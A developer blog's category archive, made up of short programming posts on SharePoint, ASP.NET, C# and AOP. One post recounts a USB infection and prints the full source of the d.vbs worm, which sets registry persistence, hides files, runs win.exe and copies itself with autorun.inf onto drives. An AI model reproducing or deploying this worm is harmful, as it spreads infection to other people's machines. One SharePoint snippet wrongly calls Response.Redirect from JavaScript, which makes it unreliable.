You are currently browsing the category archive for the ‘Technology’ category.

SharePoint: Using custom HttpHandler to Response.Redirect() users

This post generated from a question at StackOverflow; the question raised was, to how to redirect users in SharePoint using custom HttpHandler, when you do not have access to the server – or – have no permission to access the server/configuration.

HttpHandlers are used by IIS to “handle” different document types, for instance you have separate .asmx handle, .aspx handler, .ascx handler, etc.

Workaround 1: Look into SPUtility.Redirect

You can use the SPUtility.Redirect method whenever you want to direct the user to a different page. For example, you might create a landing page that determines the user’s role membership, and based on that information you can redirect them to an appropriate page. Or, based on the contents of a query string issued by the user’s browser, you might redirect them to a page that can process the query string, such as the Search Center results page.

Workaround 2: Disposable Windows SharePoint Services
Alternatively, you can look into Using Disposable Windows SharePoint Services Objects.

Workaround 3: Custom Handler in SharePoint
Create a custom HttpHandler in Windows SharePoint Services 3.0; whenever a user requests a url, your custom HttpHandler is going to process that. .Redirect() if you like the url, else otherwise.

But for your custom HttpHandler to work, it should be called first – so in your config file you will have to provide the value in path. Usually an extension is added here. But you can replace that with a * to work for all request. I believe that would work.

Workaround 4:
Assuming that you have “access” to pages so that you can write javascript in it, you can use the javascript in following way.


function RedirectIfUnAuthorized()
{
//Get the location of the current page.
var currentUrl = new String( document.location.href )

//See if it belongs to the urls you are looking for; redirect if so.
if (currentUrl == "http://www.thisUrl.com/page1.aspx") {Response.Redirect("http://www.GOOGLE.com")}
if (currentUrl == "http://www.thisUrl.com/page2.aspx") {Response.Redirect("http://www.BING.com")}
if (currentUrl == "http://www.thisUrl.com/page3.aspx") {Response.Redirect("http://www.someother.com")}
}

Happy coding!

Since quite a couple of weeks I was having slow PC; and eventually dying for a restart. I turned off all of the windows services, I removed all un-necessary software and even those that were necessary but having low usage-frequency. Still to no avail. Then I went through my registry to cleanup unwanted run and run once’s.

As I turn on the computer I could see a lot of wscript’s running, about tens of them, hogging my CPU and memory like anything. I thought it might be network policy imposed by network department; I used to close all of the running scripts one by one. But an eventual talk to network admin revealed that no PC “runs” the policy on PC start-up, and that they do not have to do anything with the wscript.exe scripts.

Running Symantec EndPoint Protection software that has an up-to-date virus definitions, I could not imagine a virus in my pc.

Most people think that WScript.EXE is a virus, which it is not. Its a windows script hosting(WSH) software. Also, I have used WScript quite a couple of times myself, and probably so is the reason I never thought of removing that exe.

It can potentially execute commands(VB or JScript) that you may not want/desire.

Following is a simple example taken from MSDN, to write in registry.

Dim WshShell, bKey
Set WshShell = WScript.CreateObject("WScript.Shell")

WshShell.RegWrite "HKCU\Software\ACME\FortuneTeller\", 1, "REG_BINARY"
WshShell.RegWrite "HKCU\Software\ACME\FortuneTeller\MindReader", "Goocher!", "REG_SZ"

bKey = WshShell.RegRead("HKCU\Software\ACME\FortuneTeller\")
WScript.Echo WshShell.RegRead("HKCU\Software\ACME\FortuneTeller\MindReader")

WshShell.RegDelete "HKCU\Software\ACME\FortuneTeller\MindReader"
WshShell.RegDelete "HKCU\Software\ACME\FortuneTeller\"
WshShell.RegDelete "HKCU\Software\ACME\"

So, long story short, this always used to happen when it insert my flash drive in the system. Couple of days ago, I cancelled the Action window that pops up when you insert a flash drive. I browsed the drive using Control+E (Windows Explorer) and to my astonishment I found a .VBS file; which is basically the VB Script file. I renamed the file and opened it. It was the code that was hogging my PC!

Though, I did not like the slow the PC at all, because I couldnt work; but interestingly I did enjoy reading the code (0:

Following is what I found when I opened d.vbs file; I have added a couple of comments just for the reader to better understand the code.

On Error Resume Next
set objfso=CreateObject("Scripting.fileSystemObject" 'causes execution to continue with the statement
Set ws = CreateObject("wscript.Shell") ' Create a shell object
Set sh = CreateObject("Shell.application")
sour="C:\Tempe"
if objfso.FolderEXists(sour) Then ' Look for a folder
set tf =objfso.getFolder(sour)
tf.Attributes=39
End If

a=0
b=10
c=10

'Tweaking the registry
ws.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Explorer", sour & "\" &"d.vbs"
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\SuperHidden",1,"REG_DWORD"
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden",0,"REG_DWORD"
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden","1"
if a=0 Then

if objfso.FileExists("C:\Tempe\win.exe") Then
ws.Run("C:\Tempe\win.exe")
end if
end if

Do
For Each flashdrive In objfso.drives
If (flashdrive.drivetype = 1 Or flashdrive.drivetype = 2) And flashdrive.Path"A:" Then

If (flashdrive.drivetype = 1) Then
pet=flashdrive.path & "\"

set tf=objfso.createtextfile(pet & "autorun.inf")
tf.writeline "[autorun]"
tf.writeline "shellexecute=wscript.exe d.vbs"
tf.writeline "shell=Open"
tf.writeline "Shell\Open\Command=wscript.exe d.vbs"
tf.writeline "Action=Open to View Folder"
tf.writeline "Icon=tere.ico"
tf.close
set tf =objfso.getfile(pet & "autorun.inf")
tf.Attributes=39

if objfso.FileExists(pet&"autorun.inf") Then
set f = objfso.getfile(pet&"autorun.inf")
size = f.size
set text=f.openastextstream(1,-2)
do while not text.atendofstream
source=source&text.readline
source=source & vbcrlf
loop
end if
if tf=source Then
sour="C:\Tempe"
Else
set f = objfso.getfile(pet&"autorun.inf")
objfso.DeleteFile(f)
End If

If a=0 Then
ws.Run(pet)
ws.run(pet&"win.exe")
End If
a=a+1
sour="C:\Tempe"
pet=flashdrive.path & "\"
dest=flashdrive.path & "\Tempe"
sours="C:\Tempe\"

if a=3 Then
If objfso.FileExists(pet&"autorun.inf") Then
objfso.DeleteFile(pet&"autorun.inf")

set Fol=objfso.GetFolder(sour)
set tf=objfso.createtextfile(pet & "autorun.inf")
tf.writeline "[autorun]"
tf.writeline "shellexecute=wscript.exe d.vbs"
tf.writeline "shell=Open"
tf.writeline "Shell\Open\Command=wscript.exe d.vbs"
tf.writeline "Action=Open to View Folder"
tf.writeline "Icon=tere.ico"
tf.close

set tf =objfso.getfile(pet & "autorun.inf")
tf.Attributes=39

End If
End If

If objfso.FileExists(pet&"d.vbs") Then
sour="C:\Tempe"
Else
set Fol=objfso.GetFolder(sour)
set f=objfso.GetFile(Fol&"\d.vbs")
objfso.CopyFile f, pet, OverWriteFiles
set f =objfso.getfile(pet & "d.vbs")
f.Attributes=39

set f=objfso.GetFile(Fol&"\win.exe")
objfso.CopyFile f, pet, OverWriteFiles
set f =objfso.getfile(pet & "win.exe")
f.Attributes=39

set f=objfso.GetFile(Fol&"\tere.ico")
objfso.CopyFile f, pet, OverWriteFiles
set f =objfso.getfile(pet & "tere.ico")
f.Attributes=39
set tf=objfso.createtextfile(pet & "autorun.inf")
tf.writeline "[autorun]"
tf.writeline "shellexecute=wscript.exe d.vbs"
tf.writeline "shell=Open"
tf.writeline "Shell\Open\Command=wscript.exe d.vbs"
tf.writeline "Action=Open to View Folder"
tf.writeline "Icon=tere.ico"
tf.close
set tf =objfso.getfile(pet & "autorun.inf")
tf.Attributes=39

set mf = objfso.getfile(pet&"autorun.inf")
size = mf.size
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
source=source&text.readline
source=source & vbcrlf
loop
End If

If objfso.FolderExists (sour) Then
set Fol=objfso.GetFolder(sour)
End If

If objfso.FileExists("C:\Tempe\d.vbs") Then
sour="C:\Tempe"
Else
set tf=objfso.createFolder("C:\"& "Tempe")
set Fol=objfso.GetFolder(sour)
Fol.Attributes=39
set f=objfso.GetFile(pet&"d.vbs")
objfso.CopyFile f, sours, OverWriteFiles
set f =objfso.getfile(sour & "\d.vbs")
f.Attributes=39
set f=objfso.GetFile(pet&"tere.ico")
objfso.CopyFile f, sours, OverWriteFiles
set f =objfso.getfile(sour & "\tere.ico")
f.Attributes=39
set f=objfso.GetFile(pet&"win.exe")
objfso.CopyFile f, sours, OverWriteFiles
set f =objfso.getfile(sour & "\win.exe")
f.Attributes=39
End If

set mf = objfso.getfile(pet&"autorun.inf")
size = mf.size
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
source=source&text.readline
source=source & vbcrlf
loop
if a=3 Then
a=1
End If
End If
End If
Next
if check1 Then
Wscript.sleep 10000
end if

set mf = objfso.getfile(Wscript.ScriptFullname)
size = mf.size
set text=mf.openastextstream(1,-2)
do while not text.atendofstream
source=source&text.readline
source=source & vbcrlf
loop
Loop While (check 1)

Happy diagnosing the virus! (0:

How to sort a GridView without hitting the database?

DataView dv = dt.DefaultView;//Your datatable, dt.
dv.RowFilter = "";//Set row filter to none.
if ((strSortBy != null) && (strSortAscending != null))
dv.Sort = strSortBy/*Column name*/ + " " + strSortAscending /*ASC, for instance.*/;

grd.DataSource = dv;
grd.DataBind();

Happy sorting!

Some time back I conducted a small training regarding CSS. There was a whole lotta debate that went on and on regarding Tables vs CSS, and then we went into being the CSS-P (Pure-CSS).

Consider the following table. What if your user/customer wants to copy the data into their excelsheet?

But somehow the user is disturbingly-surprised to findout that she cant do that.

Curiously, she tries to ViewSource and finds out the following html code:

So eventually, shes hating the CSS-Ps and the DIVs; because a new tag is just not helping her.

So, can we use CSS (DIV) for Tabular data?
Yes!

Should we?
No.

Why?
To enhance the user experience of your website.

Example?
Copy and paste rows to an excelsheet; From a DIV’d data and Table‘d.

Btw, a tabled data would produce something like following in the excelsheet.


You might just have delighted your customer!

So, DIV says ‘go table go’?
No.

DIV = layout
Table = data


If you are interested, checkout http://gomontessori.com/ a CSS-P website.

Happy styling!

ASP.NET: Add a serial number in GridView
1. Add a template field tag in your GridView markup
2. Add Container.DataItemIndex + 1 code
3. Enjoy






Happy coding!

Couple of articles ago, I did write about new dynamic type feature in C# 4.0

Some what related to the dynamic is the ExpandoObject.

Yep I know it does sound like an eight armed sea creature, but don’t worry – its just an object that comes with .NET 4.0. Dont know what Microsofties think whenever they come up with such a name.

MSDN says, ExpandoObject “represents an object whose members can be dynamically added and removed at run time.”

Add a property:

sampleObject.test = "Dynamic Property";
Console.WriteLine(sampleObject.test);
Console.WriteLine(sampleObject.test.GetType());

Output:

// This code example produces the following output:
// Dynamic Property
// System.String

Remove a property:

dynamic employee = new ExpandoObject();
employee.Name = "John Smith";
((IDictionary)employee).Remove("Name");

Associate and call events dynamically:

class Program
{
static void Main(string[] args)
{
dynamic sampleObject = new ExpandoObject();

// Create a new event and initialize it with null.
sampleObject.sampleEvent = null;

// Add an event handler.
sampleObject.sampleEvent += new EventHandler(SampleHandler);

// Raise an event for testing purposes.
sampleObject.sampleEvent(sampleObject, new EventArgs());
}

// Event handler.
static void SampleHandler(object sender, EventArgs e)
{
Console.WriteLine("SampleHandler for {0} event", sender);
}
}

Output:

// This code example produces the following output:
SampleHandler for System.Dynamic.ExpandoObject event.

Cons of ExpandoObject:

Though the usage of dynamic keyword seems quite interesting; but it could become very hard to catch errors. For instance, a new developer who doesn’t know much about it adds a property that was not required; the compiler won’t show an error – only, probably runtime will. This means, typos won’t be picked up during compile time because you can just declare about anything anywhere.

Plus, this code gives an impression that it type-safe, which it clearly, is not.

Even the tools like ReSharper would not be able to grab that error.

Anyway, you may also want to look into the unusual uses of Expando Object.

Happy coding!

How to view arabic in Console apps?

You cant;

The Console applications do not support Arabic Text for input and output due to a limitation in the operating system console support. MSDN

Reason might be because Console is not set to handle multi-byte character-sets or 16-bit Unicode.

So, how to view Arabic numbers in WinForms or WebForms?

It seems that generally Arabic numerals are used in English. Though, the Date controls are culture-aware, the numbers are not 🙂

This means you will have to convert the numerals to arabic manually, at least so it seems.

So, you can write an extension method to achieve that:

public static string ToArabicEx(this string str)
{
if (!string.IsNullOrEmpty(str))
{
Thread.CurrentThread.CurrentCulture = CultureInfo.CreateSpecificCulture("ar-AE");
string[] nativeDigits = Thread.CurrentThread.CurrentCulture.NumberFormat.NativeDigits;

return str.Replace('0', nativeDigits[0].ToCharArray()[0])
.Replace('1', nativeDigits[1].ToCharArray()[0])
.Replace('2', nativeDigits[2].ToCharArray()[0])
.Replace('3', nativeDigits[3].ToCharArray()[0])
.Replace('4', nativeDigits[4].ToCharArray()[0])
.Replace('5', nativeDigits[5].ToCharArray()[0])
.Replace('6', nativeDigits[6].ToCharArray()[0])
.Replace('7', nativeDigits[7].ToCharArray()[0])
.Replace('8', nativeDigits[8].ToCharArray()[0])
.Replace('9', nativeDigits[9].ToCharArray()[0]);
}
else return str;
}

Usage:

for (int i = 0; i <= 9; i++)
{
Response.Write(strLineBreak + i.ToString().ToArabicEx());
Response.Write(strLineBreak + DateTime.Now.ToString().ToArabicEx());

}

Happy coding!

While sitting in just another meeting with another lead developer, I was told that they are using UpdatePanels with jQuery just because they read it somewhere over the internet.

I threw them with PageMethods alternate solution; (although it can be script’ize using ScriptManager.RegisterClientScriptBlock), especially when used with jQuery. To my bewilderment she did not know about the PageMethods; and I was gladly eager to tell her more! (0:

It is not “just another” way of interacting with server; its reliable, and communicates in the shortest forms possible – lowest client/server data exchange; plus, the response by the WebMethod gives the freedom to manipulate and interact with the HTML the way we want.

Its a static method that is exposed using WebMethod attribute; and is called using Javascript. Follow the following steps:

1. Set the `.EnablePageMethods` property of ScriptManager to True.

2. Mark the static method with WebMethod attribute
3. Call method using javascript. Like:

PageMethods.MyMethod(
Arg1,
Arg2,
ArgN,
Incase_Success/*Optional*/,
Incase_Failure/*Optional*/);

function Incase_Success(results/*Returned by the method call*/ , userContext, methodName) {
alert(results);
}

function Incase_Failure(errors, userContext, methodName) {
alert(errors.get_Message());
}

The PageMethod calls the web method MyMethod with the defined number of arguments, and upon successful completion of the function call, it redirects the response to SuccessFunction or FailureFunction according the status that it has.

When calling the method, the first N parameters in the PageMethods call matches the parameters of the class method. In this example we have only only one parameter.

There are two optional parameters that takes the names of the methods to be called in case of failure or success. The callback for success, followed by the callback for failure.

Following is a quick comparison between UpdatePanel, and PageMethod from Encosia.

PageMethod data exchange,

An important point to note, is that most of us relate the the term web service with SOAP and XML. But in this case ASP.NET AJAX doesn’t use SOAP and XML.

Btw, this article is a MUST READ!

Happy coding!

Waiting at Dubai airport, for the connecting flight back home to Karachi… reaping the fruits of last-minute-flight-schedule sown(read: reserved) by my admin department! I have a tweltve hour wait for the next “connecting” flight! Yep, those who have been-there-done-that know very well about such an exhausting experience.

With all the “unlimited” time that I have, I opened my ‘Blogs’ folder… searched through my incomplete blog related to aspect oriented programming.

I have been working over it off an on, adding multiple angles of understanding so that it would be easiest to digest.

Though this has been a pretty old subject now; but some once again was dragged into the technical argument among peers. Quite a couple of hours ranting about what is it, what it does, and when to use. On heading home I thought its a “must blog” (0: so here it is.

To understand the aspect oriented programming, it is important to understand the term aspect. Aspect generally means an area of particular interest/concern; a much widely used term that is the jist of AOP is cross cutting concerns.

So what actually is a “cross cutting concern”?

To understand that, lets discuss a small example. Consider following set of classes:

1. Products – This class add/update the products
2. Customers – This class maintains customers
3. AuditTrails – This class maintains the audit trail
4. UI – This class renders the UI
5. Logger – Logs the activity in a text file

A business “concern” could come up to implement a policy that would validate the length product name, and it should not be more than 20 characters. Or…

  • A system level concern may be to provide logging in all of the modules.
  • Another concern could be to ensure a database transaction should not result in loss of data – across all the data layer related modules.
  • Or that authorization is required to perform certain operations; for instance authenticate/authorize for Funds Transfer in case of a banking application.

The above are called “concerns” – specific area of interest; and since these concerns “can” span across the application(in case of logging, for instance), so this is how it gets the name “cross cutting concern”.

A couple of practical scenarios where AOP could be utilized:

  • Logging invocation and public property access, as discussed earlier.
  • Handling exceptions in a structured manner
  • Validating parameter values; function parameters.
  • Caching method results and property values
  • Authorizing method and property requests
  • Measuring target method performance

Typically, if you want to enforce a behaviour across many different classes in a transparent way, AOP comes a best practice.

If you are a Java guy AspectJ might interest you; and for .NET/C# a good open library is Aspect.NET. Though Microsoft does provide Policy Injection Application block which can be utilized with Unity (Dependency Injection Framework – DI) application block that I reviewed sometime earlier in my posts.

Terms that are used in AOP:

From Wikipedia:

Cross-cutting concerns: Even though most classes in an OO model will perform a single, specific function, they often share common, secondary requirements with other classes. For example, we may want to add logging to classes within the data-access layer and also to classes in the UI layer whenever a thread enters or exits a method. Even though each class has a very different primary functionality, the code needed to perform the secondary functionality is often identical.
Advice: This is the additional code that you want to apply to your existing model. In our example, this is the logging code that we want to apply whenever the thread enters or exits a method.
Pointcut: This is the term given to the point of execution in the application at which cross-cutting concern needs to be applied. In our example, a pointcut is reached when the thread enters a method, and another pointcut is reached when the thread exits the method.
Aspect: The combination of the pointcut and the advice is termed an aspect. In the example above, we add a logging aspect to our application by defining a pointcut and giving the correct advice.

Bear in mind, you will pay a performance penalty if you’re injecting behaviour into many fine-grained objects in your application, so you may want to consider if having this feature is worth the performance trade-off. Fortunately, one of the benefits of AOP is that you can enable/disable pointcuts fairly easily, which would allow you to measure the performance difference. If interested in knowing the code level implementations, here is a good article to start with.

Happy coding!

Briefly, the solution works as follows: the crawler finds a pretty AJAX URL (that is, a URL containing a #! hash fragment). It then requests the content for this URL from your server in a slightly modified form. Your web server returns the content in the form of an HTML snapshot, which is then processed by the crawler. The search results will show the original URL.

Source: http://code.google.com/web/ajaxcrawling/docs/getting-started.html

%d bloggers like this: